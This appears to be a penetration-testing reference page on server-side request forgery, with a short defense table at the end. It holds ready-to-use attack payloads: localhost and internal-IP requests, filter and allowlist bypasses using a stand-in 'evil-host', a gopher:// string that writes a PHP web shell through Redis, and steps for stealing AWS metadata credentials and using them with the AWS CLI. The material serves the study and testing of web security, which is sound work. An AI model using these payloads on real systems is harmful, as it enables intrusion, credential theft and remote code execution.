Salta ai contenuti
Seleziona tema

Server-Side Request Forgery (SSRF)

Questi contenuti non sono ancora disponibili nella tua lingua.

SSRF lets an attacker make the server issue HTTP requests to a destination the attacker chooses. The request originates from the server’s network position, which usually means access to internal services, cloud metadata endpoints, and localhost interfaces that are unreachable from the outside.

Impact Why it matters
Internal service access Reach admin panels, databases, monitoring dashboards behind the firewall
Cloud metadata theft 169.254.169.254 returns IAM credentials on AWS/GCP/Azure
Port scanning Map internal hosts and open ports from the server’s perspective
Authentication bypass Requests from 127.0.0.1 often skip access controls
Remote code execution Chain with internal services that accept unauthenticated commands

The simplest case: the application takes a URL parameter and the server fetches it.

Normal request
POST /product/stock HTTP/1.1
Content-Type: application/x-www-form-urlencoded
stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1
SSRF - access the admin panel
POST /product/stock HTTP/1.1
Content-Type: application/x-www-form-urlencoded
stockApi=http://localhost/admin

The server fetches /admin from itself. Because the request comes from the loopback interface, access controls that block external users are bypassed.

Reason Explanation
Separate access-control component A reverse proxy enforces auth; the app server behind it trusts local connections
Disaster recovery Admin access without credentials from the local machine (password reset)
Different port Admin interface on a non-public port, reachable only via loopback

Internal services often sit on private IP ranges (10.x, 172.16-31.x, 192.168.x) with no authentication, because they are “protected by the network”.

Hit an internal admin panel
POST /product/stock HTTP/1.1
Content-Type: application/x-www-form-urlencoded
stockApi=http://192.168.0.68/admin

The application blocks 127.0.0.1, localhost, or /admin. Try:

Technique Example
Decimal IP 2130706433 (decimal for 127.0.0.1)
Octal IP 017700000001
Short form 127.1
IPv6 loopback [::1], [0000::1]
Domain that resolves to 127.0.0.1 spoofed.burpcollaborator.net, or register your own
URL encoding %6c%6f%63%61%6c%68%6f%73%74
Double URL encoding %2561dmin (decodes to %61 then a → admin)
Case variation /Admin, /ADMIN
Redirect URL that 302s to the blocked destination
Combined bypass (double encode + short IP)
stockApi=http://127.1/%2561dmin

The application allows only URLs matching a trusted domain. Exploit URL-parsing inconsistencies:

Technique Example Trick
Embedded credentials https://expected-host:fakepassword@evil-host @ separates credentials from the real host
URL fragment https://evil-host#expected-host # starts a fragment, parser may read the wrong part
DNS subdomain https://expected-host.evil-host Trusted name as a subdomain of attacker’s domain
URL encoding %2F, %23, %40 Confuse the URL parser
Double encoding %252F Server decodes twice

Combine techniques for maximum effect.

When the URL parameter is validated but the application follows redirects:

  1. Find an open redirect on the trusted domain:
    /product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin
  2. Feed it to the SSRF parameter:
    stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin

The app validates the domain (trusted), follows the redirect, and ends up on the internal host. See the open redirect note for bypass techniques and more chaining patterns.

DNS rebinding bypasses defenses that resolve the hostname before fetching and check if the IP is internal. The trick: the DNS record returns a public IP first (passes the check), then a private IP on the second resolution (the actual fetch).

How it works:

  1. The attacker controls rebind.attacker.example with a very low TTL (0 or 1 second)
  2. First DNS query returns 1.2.3.4 (attacker’s public IP) - passes the allowlist check
  3. The application makes the HTTP request; the DNS cache has expired
  4. Second DNS query returns 169.254.169.254 - the fetch hits the metadata endpoint

Testing: use a DNS rebinding service (e.g., 1.2.3.4.169.254.169.254.rbndr.us) that alternates between two IPs on each resolution.

The gopher:// protocol lets you send raw bytes to any TCP port, which means you can speak any protocol (HTTP, Redis, Memcached, SMTP) through an SSRF.

Hit internal Redis to write a web shell
gopher://127.0.0.1:6379/_SET%20shell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%0ACONFIG%20SET%20dir%20%2Fvar%2Fwww%2Fhtml%2F%0ACONFIG%20SET%20dbfilename%20shell.php%0ASAVE%0AQUIT

This sends Redis commands to write a PHP web shell to the web root. Decoded:

SET shell "<?php system($_GET['cmd']);?>"
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SAVE
QUIT

Common internal services to target via gopher:

Service Port What you can do
Redis 6379 Write files (web shell), read keys
Memcached 11211 Read/write cached data, poison sessions
SMTP 25 Send emails (phishing from internal mail server)
MySQL 3306 Execute queries (if no password)
FastCGI/PHP-FPM 9000 Execute arbitrary PHP code

SSRF is not limited to explicit URL parameters. Many features make server-side requests:

Feature Where to inject
PDF generators (wkhtmltopdf, Puppeteer) HTML input with <iframe src="http://169.254.169.254/"> or <img> / <link> tags
Webhooks URL field in webhook configuration
URL preview / link unfurling (Slack-style) Paste a URL in a chat or comment field
Image resizers / thumbnail generators Image URL parameter
Import from URL (file upload, RSS) URL field that the server fetches
SVG rendering <image xlink:href="http://internal/"/> inside the SVG

PDF generator SSRF example:

Injected into HTML that becomes a PDF
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="800" height="600"></iframe>

If the PDF generator fetches resources from the server’s network, the metadata response is rendered inside the PDF.

The server makes the request but the response is not returned to the attacker.

Use an out-of-band channel:

Trigger a DNS lookup to Burp Collaborator
stockApi=http://YOUR-ID.oastify.com

If you see a DNS/HTTP interaction in Collaborator, the server made the request, even though you cannot see the response.

Blind SSRF is harder to exploit but can still lead to:

  • Internal port scanning: response time differences reveal open vs closed ports. Use Burp Intruder to sweep ports on 127.0.0.1:§1§ and sort by response time.
  • Exploitation of internal services: services that act on incoming requests (e.g., Shellshock via User-Agent, Redis SLAVEOF, Elasticsearch queries) can be triggered blind.
  • Cloud metadata via DNS exfiltration: chain with an external DTD (XXE-style) or a DNS-based exfil service to pull credential data out of band.

SSRF is not limited to obvious URL parameters.

The application takes only a hostname or path segment and builds the full URL server-side. Control is limited, but you may still redirect to internal hosts.

XML input → XXE → SSRF. See the XXE note.

JSON or other formats that embed URLs may also be fetched server-side.

Some analytics software fetches URLs from the Referer header to analyze referring sites. Inject an internal URL in the Referer and check for out-of-band interactions.

On cloud instances, SSRF is often critical because the metadata service is reachable from localhost.

Step 1: list IAM roles
http://169.254.169.254/latest/meta-data/iam/security-credentials/

Response: my-iam-role

Step 2: get temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/my-iam-role

Response contains AccessKeyId, SecretAccessKey, and SessionToken. Use them with the AWS CLI:

Use stolen credentials
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws s3 ls
aws iam get-user

Other useful AWS metadata paths:

Path Data
/latest/meta-data/hostname Internal hostname
/latest/meta-data/local-ipv4 Internal IP
/latest/user-data Instance startup script (may contain secrets)
/latest/dynamic/instance-identity/document Account ID, region, instance ID

IMDSv2 requires a PUT request to get a session token first:

Terminal window
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

A basic GET SSRF cannot do this. But if the SSRF allows controlling the method and headers (e.g., through a webhook configuration or a full HTTP client), IMDSv2 is still reachable.

Cloud URL Required header
GCP http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token Metadata-Flavor: Google
Azure http://169.254.169.254/metadata/instance?api-version=2021-02-01 Metadata: true

GCP and Azure require a specific header, so a simple redirect-based SSRF may not work. If you control request headers (via CRLF injection or a full HTTP client feature), they are exploitable.

Measure Why
Allowlist of permitted URLs/domains Only fetch from known-good destinations
Block private IP ranges and localhost Deny 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254
Disable HTTP redirects Or limit redirects to allowed domains
Validate the response Ensure the response matches the expected content type before returning it
Use a dedicated egress proxy All outbound requests go through a proxy that enforces the allowlist
Require authentication on internal services Never trust “it’s on the internal network”
IMDSv2 on AWS Requires a PUT request with a TTL header - not reachable via simple GET SSRF

1269 parole, circa 6 min di lettura